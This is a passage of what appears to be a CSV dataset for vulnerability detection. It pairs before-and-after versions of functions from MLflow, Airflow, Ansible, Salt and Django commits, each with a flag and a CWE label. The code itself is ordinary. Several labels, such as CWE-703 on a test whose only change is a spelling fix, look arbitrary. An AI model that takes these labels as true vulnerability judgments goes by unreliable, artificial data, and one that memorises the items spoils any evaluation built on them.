        # If the warning's source file is contained within the MLflow package's base
        # directory, it is an MLflow warning and should be emitted via `logger.warning`
        warning_source_path = Path(filename).resolve()
        is_mlflow_warning = self._mlflow_root_path in warning_source_path.parents
        curr_thread = get_current_thread_id()

        if (curr_thread in self._disabled_threads) or (
            is_mlflow_warning and self._mlflow_warnings_disabled_globally
        ):
            return
        elif (curr_thread in self._rerouted_threads and not is_mlflow_warning) or (
            is_mlflow_warning and self._mlflow_warnings_rerouted_to_event_logs
        ):
            _logger.warning(
                'MLflow autologging encountered a warning: ""%s:%d: %s: %s""',
                filename,
                lineno,
                category.__name__,
                message,
            )
        else:
            self._original_showwarning(message, category, filename, lineno, *args, **kwargs)",,mlflow/mlflow,467bb5f28ff16332dddc4c5b47f41e3f54a5890a,"def _patched_showwarning(self, message, category, filename, lineno, *args, **kwargs):
        """"""
        A patched implementation of `warnings.showwarning` that enforces the warning configuration
        options configured on the controller (e.g. rerouting or disablement of MLflow warnings,
        disablement of all warnings for the current thread).

        Note that reassigning `warnings.showwarning` is the standard / recommended approach for
        modifying warning message display behaviors. For reference, see
        https://docs.python.org/3/library/warnings.html#warnings.showwarning
        """"""
        # NB: We explicitly avoid blocking on the `self._state_lock` lock during `showwarning`
        # to so that threads don't have to execute serially whenever they emit warnings with
        # `warnings.warn()`. We only lock during configuration changes to ensure that
        # `warnings.showwarning` is patched or unpatched at the correct times.

        from mlflow.utils.autologging_utils import _logger

        # If the warning's source file is contained within the MLflow package's base
        # directory, it is an MLflow warning and should be emitted via `logger.warning`
        warning_source_path = Path(filename).resolve()
        is_mlflow_warning = self._mlflow_root_path in warning_source_path.parents
        curr_thread = get_current_thread_id()

        if (curr_thread in self._disabled_threads) or (
            is_mlflow_warning and self._mlflow_warnings_disabled_globally
        ):
            return
        elif (curr_thread in self._rerouted_threads and not is_mlflow_warning) or (
            is_mlflow_warning and self._mlflow_warnings_rerouted_to_event_logs
        ):
            _logger.warning(
                ""MLflow autologging encountered a warning:"" ' ""%s:%d: %s: %s""',
                filename,
                lineno,
                category.__name__,
                message,
            )
        else:
            self._original_showwarning(message, category, filename, lineno, *args, **kwargs)"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_log_url(self, create_task_instance):
        ti = create_task_instance(dag_id=""my_dag"", task_id=""op"", execution_date=timezone.datetime(2018, 1, 1))

        expected_url = (
            ""http://localhost:8080""
            ""/dags/my_dag/grid""
            ""?dag_run_id=test""
            ""&task_id=op""
            ""&base_date=2018-01-01T00%3A00%3A00%2B0000""
            ""&tab=logs""
        )
        assert ti.log_url == expected_url",CWE-703,apache/airflow,9c13c0939acc6b7dbd856c12c6eba12182fe00a0,"def test_log_url(self, create_task_instance):
        ti = create_task_instance(dag_id=""my_dag"", task_id=""op"", execution_date=timezone.datetime(2018, 1, 1))

        expected_url = (
            ""http://localhost:8080""
            ""/dags/my_dag/grid""
            ""?dag_run_id=test""
            ""&task_id=op""
            ""&map_index=-1""
            ""&tab=logs""
        )
        assert ti.log_url == expected_url"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                        (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = os.path.dirname(templar.template(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable:
                            raise AnsibleParserError(
                                ""Error when evaluating variable in include name: %s.\n\n"" \
                                ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                ""sources like group or host vars."" % t.args['_raw_params'],
                                obj=task_ds,
                                suppress_extended_error=True,
                                )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically included: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)

            elif 'include_role' in task_ds:

                ir = IncludeRole.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                    )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                if ir.static is not None:
                    is_static = ir.static
                else:
                    display.debug('Determine if include_role is static')
                    # Check to see if this include is dynamic or static:
                    all_vars = variable_manager.get_vars(loader=loader, play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    needs_templating = False
                    for param in ir.args:
                        if templar._contains_vars(ir.args[param]):
                            if not templar.is_template(ir.args[param]):
                                needs_templating = True
                                break
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not needs_templating and ir.all_parents_static() and not ir.loop)
                    display.debug('Determined that if include_role static is %s' % str(is_static))

                if is_static:
                    # uses compiled list from object
                    t = task_list.extend(ir.get_block_list(variable_manager=variable_manager, loader=loader))
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,eeaa67657750005b5ff9c287b1883fc08692814d,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list)

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict)

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds:
                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(loader=loader, play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                if t.static is not None:
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                        (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = os.path.dirname(templar.template(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable:
                            raise AnsibleParserError(
                                ""Error when evaluating variable in include name: %s.\n\n"" \
                                ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n"" \
                                ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n"" \
                                ""sources like group or host vars."" % t.args['_raw_params'],
                                obj=task_ds,
                                suppress_extended_error=True,
                                )
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            return []
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically included: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not "" \
                            ""explicitly marked as 'static: yes', we will try and include it dynamically "" \
                            ""later. In the future, this will be an error unless 'static: no' is used "" \
                            ""on the include task. If you do not want missing includes to be considered "" \
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg "" \
                            ""options to make all inclues static for tasks and/or handlers"" % include_file,
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). "" \
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    task_list.append(t)

            elif 'include_role' in task_ds:

                ir = IncludeRole.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                    )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                if ir.static is not None:
                    is_static = ir.static
                else:
                    display.debug('Determine if include_role is static')
                    # Check to see if this include is dynamic or static:
                    all_vars = variable_manager.get_vars(loader=loader, play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    needs_templating = False
                    for param in ir.args:
                        if templar._contains_vars(ir.args[param]):
                            if not templar.is_template(ir.args[param]):
                                needs_templating = True
                                break
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                                (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                                (not needs_templating and ir.all_parents_static() and not ir.loop)
                    display.debug('Determined that if include_role static is %s' % str(is_static))
                if is_static:
                    # uses compiled list from object
                    t = task_list.extend(ir.get_block_list(variable_manager=variable_manager, loader=loader))
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_job.py,1,"def test_get_jobs(
        self, test_client, testcase, query_params, expected_status_code, expected_total_entries
    ):
        # setup testcase at runtime based on the `testcase` parameter
        self.setup(testcase)
        response = test_client.get(""/public/jobs"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return
        response_json = response.json()
        assert response_json[""total_entries""] == expected_total_entries

        for idx, resp_job in enumerate(response_json[""jobs""]):
            expected_job = {
                ""id"": self.scheduler_jobs[idx].id,
                ""dag_id"": None,
                ""state"": ""running"",
                ""job_type"": ""SchedulerJob"",
                ""start_date"": from_datetime_to_zulu(self.scheduler_jobs[idx].start_date),
                ""end_date"": None,
                ""latest_heartbeat"": from_datetime_to_zulu(self.scheduler_jobs[idx].latest_heartbeat),
                ""executor_class"": None,
                ""hostname"": self.scheduler_jobs[idx].hostname,
                ""unixname"": self.scheduler_jobs[idx].unixname,
            }
            assert resp_job == expected_job",CWE-703,apache/airflow,5c77768bc143f30eccad83b0eb079146f0128085,"def test_get_jobs(
        self, test_client, testcase, query_params, expected_status_code, expected_total_entries
    ):
        # setup testcase at runtime based on the `testcase` parameter
        self.setup(testcase)
        response = test_client.get(""/public/jobs"", params=query_params)
        assert response.status_code == expected_status_code
        if expected_status_code != 200:
            return
        response_json = response.json()
        assert response_json[""total_entries""] == expected_total_entries

        for idx, resp_job in enumerate(response_json[""jobs""]):
            expected_job = {
                ""id"": self.scheduler_jobs[idx].id,
                ""dag_id"": None,
                ""state"": ""running"",
                ""job_type"": ""SchedulerJob"",
                ""start_date"": from_datetime_to_zulu(self.scheduler_jobs[idx].start_date),
                ""end_date"": None,
                ""latest_heartbeat"": from_datetime_to_zulu(self.scheduler_jobs[idx].latest_heartbeat),
                ""executor_class"": None,
                ""hostname"": self.scheduler_jobs[idx].hostname,
                ""unixname"": self.scheduler_jobs[idx].unixname,
            }
            assert resp_job == expected_job"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/database/proxysql/proxysql_scheduler.py,0,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            login_user=dict(default=None, type='str'),
            login_password=dict(default=None, no_log=True, type='str'),
            login_host=dict(default=""127.0.0.1""),
            login_unix_socket=dict(default=None),
            login_port=dict(default=6032, type='int'),
            config_file=dict(default="""", type='path'),
            active=dict(default=True, type='bool'),
            interval_ms=dict(default=10000, type='int'),
            filename=dict(required=True, type='str'),
            arg1=dict(type='str'),
            arg2=dict(type='str'),
            arg3=dict(type='str'),
            arg4=dict(type='str'),
            arg5=dict(type='str'),
            comment=dict(type='str'),
            state=dict(default='present', choices=['present',
                                                   'absent']),
            force_delete=dict(default=False, type='bool'),
            save_to_disk=dict(default=True, type='bool'),
            load_to_runtime=dict(default=True, type='bool')
        ),
        supports_check_mode=True
    )

    perform_checks(module)

    login_user = module.params[""login_user""]
    login_password = module.params[""login_password""]
    config_file = module.params[""config_file""]

    cursor = None
    try:
        cursor, db_conn = mysql_connect(module,
                                        login_user,
                                        login_password,
                                        config_file,
                                        cursor_class=mysql_driver.cursors.DictCursor)
    except mysql_driver.Error as e:
        module.fail_json(
            msg=""unable to connect to ProxySQL Admin Module.. %s"" % to_native(e)
        )

    proxysql_schedule = ProxySQLSchedule(module)
    result = {}

    result['state'] = proxysql_schedule.state
    result['filename'] = proxysql_schedule.filename

    if proxysql_schedule.state == ""present"":
        try:
            if proxysql_schedule.check_schedule_config(cursor) <= 0:
                proxysql_schedule.create_schedule(module.check_mode,
                                                  result,
                                                  cursor)
            else:
                result['changed'] = False
                result['msg'] = (""The schedule already exists and doesn't"" +
                                 "" need to be updated."")
                result['schedules'] = \
                    proxysql_schedule.get_schedule_config(cursor)
        except mysql_driver.Error as e:
            module.fail_json(
                msg=""unable to modify schedule.. %s"" % to_native(e)
            )

    elif proxysql_schedule.state == ""absent"":
        try:
            existing_schedules = \
                proxysql_schedule.check_schedule_config(cursor)
            if existing_schedules > 0:
                if existing_schedules == 1 or proxysql_schedule.force_delete:
                    proxysql_schedule.delete_schedule(module.check_mode,
                                                      result,
                                                      cursor)
                else:
                    module.fail_json(
                        msg=(""Operation would delete multiple records"" +
                             "" use force_delete to override this"")
                    )
            else:
                result['changed'] = False
                result['msg'] = (""The schedule is already absent from the"" +
                                 "" memory configuration"")
        except mysql_driver.Error as e:
            module.fail_json(
                msg=""unable to remove schedule.. %s"" % to_native(e)
            )

    module.exit_json(**result)",,ansible/ansible,70bc351f31ed7010ce981ce839a26ace4e4765cd,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            login_user=dict(default=None, type='str'),
            login_password=dict(default=None, no_log=True, type='str'),
            login_host=dict(default=""127.0.0.1""),
            login_unix_socket=dict(default=None),
            login_port=dict(default=6032, type='int'),
            config_file=dict(default="""", type='path'),
            active=dict(default=True, type='bool'),
            interval_ms=dict(default=10000, type='int'),
            filename=dict(required=True, type='str'),
            arg1=dict(type='str'),
            arg2=dict(type='str'),
            arg3=dict(type='str'),
            arg4=dict(type='str'),
            arg5=dict(type='str'),
            comment=dict(type='str'),
            state=dict(default='present', choices=['present',
                                                   'absent']),
            force_delete=dict(default=False, type='bool'),
            save_to_disk=dict(default=True, type='bool'),
            load_to_runtime=dict(default=True, type='bool')
        ),
        supports_check_mode=True
    )

    perform_checks(module)

    login_user = module.params[""login_user""]
    login_password = module.params[""login_password""]
    config_file = module.params[""config_file""]

    cursor = None
    try:
        cursor = mysql_connect(module,
                               login_user,
                               login_password,
                               config_file,
                               cursor_class=mysql_driver.cursors.DictCursor)
    except mysql_driver.Error as e:
        module.fail_json(
            msg=""unable to connect to ProxySQL Admin Module.. %s"" % to_native(e)
        )

    proxysql_schedule = ProxySQLSchedule(module)
    result = {}

    result['state'] = proxysql_schedule.state
    result['filename'] = proxysql_schedule.filename

    if proxysql_schedule.state == ""present"":
        try:
            if proxysql_schedule.check_schedule_config(cursor) <= 0:
                proxysql_schedule.create_schedule(module.check_mode,
                                                  result,
                                                  cursor)
            else:
                result['changed'] = False
                result['msg'] = (""The schedule already exists and doesn't"" +
                                 "" need to be updated."")
                result['schedules'] = \
                    proxysql_schedule.get_schedule_config(cursor)
        except mysql_driver.Error as e:
            module.fail_json(
                msg=""unable to modify schedule.. %s"" % to_native(e)
            )

    elif proxysql_schedule.state == ""absent"":
        try:
            existing_schedules = \
                proxysql_schedule.check_schedule_config(cursor)
            if existing_schedules > 0:
                if existing_schedules == 1 or proxysql_schedule.force_delete:
                    proxysql_schedule.delete_schedule(module.check_mode,
                                                      result,
                                                      cursor)
                else:
                    module.fail_json(
                        msg=(""Operation would delete multiple records"" +
                             "" use force_delete to override this"")
                    )
            else:
                result['changed'] = False
                result['msg'] = (""The schedule is already absent from the"" +
                                 "" memory configuration"")
        except mysql_driver.Error as e:
            module.fail_json(
                msg=""unable to remove schedule.. %s"" % to_native(e)
            )

    module.exit_json(**result)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/jinja/test_custom_extensions.py,1,"def test_zip_longest(minion_opts, local_salt):
    """"""
    Test the `zip_longest` Jinja filter.
    """"""
    rendered = render_jinja_tmpl(
        ""{% for one, two in 'ABCD' | zip_longest('xy', fillvalue='-') %}{{ one~two }} {% endfor %}"",
        dict(opts=minion_opts, saltenv=""test"", salt=local_salt),
    )
    assert rendered == ""Ax By C- D- """,CWE-703,saltstack/salt,aafec5897d14690c6f8580fd7129b393cb13d2a8,"def test_zip_longest(minion_opts, local_salt):
    """"""
    Test the `zip_longest` Jinja filter.
    """"""
    rendered = render_jinja_tmpl(
        ""{% for one, two in 'ABCD' | zip_longest('xy', fillvalue='-') %}{{ one~two }} {% endfor %}"",
        dict(opts=minion_opts, saltenv=""test"", salt=local_salt),
    )
    assert rendered == ""Ax By C- D- """
,UNKNOWN,UNKNOWN,tests/models/test_dagcode.py,1,"def test_code_can_be_read_when_no_access_to_file(self):
        """"""
        Test that code can be retrieved from DB when you do not have access to Code file.
        Source Code should at least exist in one of DB or File.
        """"""
        example_dag = make_example_dags(example_dags_module).get('example_bash_operator')
        example_dag.sync_to_db()

        # Mock that there is no access to the Dag File
        with patch('airflow.models.dagcode.open_maybe_zipped') as mock_open:
            mock_open.side_effect = FileNotFoundError
            dag_code = DagCode.get_code_by_fileloc(example_dag.fileloc)

            for test_string in ['example_bash_operator', 'also_run_this', 'run_this_last']:
                assert test_string in dag_code",CWE-703,apache/airflow,50a1504c524257e53eff06589b71973cfab5bf54,"def test_code_can_be_read_when_no_access_to_file(self):
        """"""
        Test that code can be retrieved from DB when you do not have access to Code file.
        Source Code should atleast exist in one of DB or File.
        """"""
        example_dag = make_example_dags(example_dags_module).get('example_bash_operator')
        example_dag.sync_to_db()

        # Mock that there is no access to the Dag File
        with patch('airflow.models.dagcode.open_maybe_zipped') as mock_open:
            mock_open.side_effect = FileNotFoundError
            dag_code = DagCode.get_code_by_fileloc(example_dag.fileloc)

            for test_string in ['example_bash_operator', 'also_run_this', 'run_this_last']:
                assert test_string in dag_code"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/checks.py,0,"def _check_ordering_item(self, obj, field_name, label):
        """"""Check that `ordering` refers to existing fields.""""""
        if isinstance(field_name, (Combinable, models.OrderBy)):
            if not isinstance(field_name, models.OrderBy):
                field_name = field_name.asc()
            if isinstance(field_name.expression, models.F):
                field_name = field_name.expression.name
            else:
                return []
        if field_name == ""?"" and len(obj.ordering) != 1:
            return [
                checks.Error(
                    ""The value of 'ordering' has the random ordering marker '?', ""
                    ""but contains other fields as well."",
                    hint='Either remove the ""?"", or remove the other fields.',
                    obj=obj.__class__,
                    id=""admin.E032"",
                )
            ]
        elif field_name == ""?"":
            return []
        elif LOOKUP_SEP in field_name:
            # Skip ordering in the format field1__field2 (FIXME: checking
            # this format would be nice, but it's a little fiddly).
            return []
        else:
            field_name = field_name.removeprefix(""-"")
            if field_name == ""pk"":
                return []
            try:
                obj.model._meta.get_field(field_name)
            except FieldDoesNotExist:
                return refer_to_missing_field(
                    field=field_name, option=label, obj=obj, id=""admin.E033""
                )
            else:
                return []",CWE-Unknown,django/django,23e886886249ebe8f80a48b0d25fbb5308eeb06f,"def _check_ordering_item(self, obj, field_name, label):
        """"""Check that `ordering` refers to existing fields.""""""
        if isinstance(field_name, (Combinable, models.OrderBy)):
            if not isinstance(field_name, models.OrderBy):
                field_name = field_name.asc()
            if isinstance(field_name.expression, models.F):
                field_name = field_name.expression.name
            else:
                return []
        if field_name == ""?"" and len(obj.ordering) != 1:
            return [
                checks.Error(
                    ""The value of 'ordering' has the random ordering marker '?', ""
                    ""but contains other fields as well."",
                    hint='Either remove the ""?"", or remove the other fields.',
                    obj=obj.__class__,
                    id=""admin.E032"",
                )
            ]
        elif field_name == ""?"":
            return []
        elif LOOKUP_SEP in field_name:
            # Skip ordering in the format field1__field2 (FIXME: checking
            # this format would be nice, but it's a little fiddly).
            return []
        else:
            if field_name.startswith(""-""):
                field_name = field_name[1:]
            if field_name == ""pk"":
                return []
            try:
                obj.model._meta.get_field(field_name)
            except FieldDoesNotExist:
                return refer_to_missing_field(
                    field=field_name, option=label, obj=obj, id=""admin.E033""
                )
            else:
                return []"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/mysql_query.py,0,"def run_file(name,
        database,
        query_file=None,
        output=None,
        grain=None,
        key=None,
        overwrite=True,
        **connection_args):
    '''
    Execute an arbitrary query on the specified database

    name
        Used only as an ID

    database
        The name of the database to execute the query_file on

    query_file
        The file of mysql commands to run

    output
        grain: output in a grain
        other: the file to store results
        None:  output to the result comment (default)

    grain:
        grain to store the output (need output=grain)

    key:
        the specified grain will be treated as a dictionary, the result
        of this state will be stored under the specified key.

    overwrite:
        The file or grain will be overwritten if it already exists (default)

    .. versionadded:: 2017.7.0
    '''
    ret = {'name': name,
           'changes': {},
           'result': True,
           'comment': 'Database {0} is already present'.format(database)}

    if not os.path.exists(query_file):
        ret['comment'] = 'File {0} does not exist'.format(query_file)
        ret['result'] = False
        return ret

    # check if database exists
    if not __salt__['mysql.db_exists'](database, **connection_args):
        err = _get_mysql_error()
        if err is not None:
            ret['comment'] = err
            ret['result'] = False
            return ret

        ret['result'] = None
        ret['comment'] = ('Database {0} is not present'
                ).format(database)
        return ret

    # Check if execution needed
    if output == 'grain':
        if grain is not None and key is None:
            if not overwrite and grain in __salt__['grains.ls']():
                ret['comment'] = 'No execution needed. Grain ' + grain\
                               + ' already set'
                return ret
            elif __opts__['test']:
                ret['result'] = None
                ret['comment'] = 'Query would execute, storing result in '\
                               + 'grain: ' + grain
                return ret
        elif grain is not None:
            if grain in __salt__['grains.ls']():
                grain_value = __salt__['grains.get'](grain)
            else:
                grain_value = {}
            if not overwrite and key in grain_value:
                ret['comment'] = 'No execution needed. Grain ' + grain\
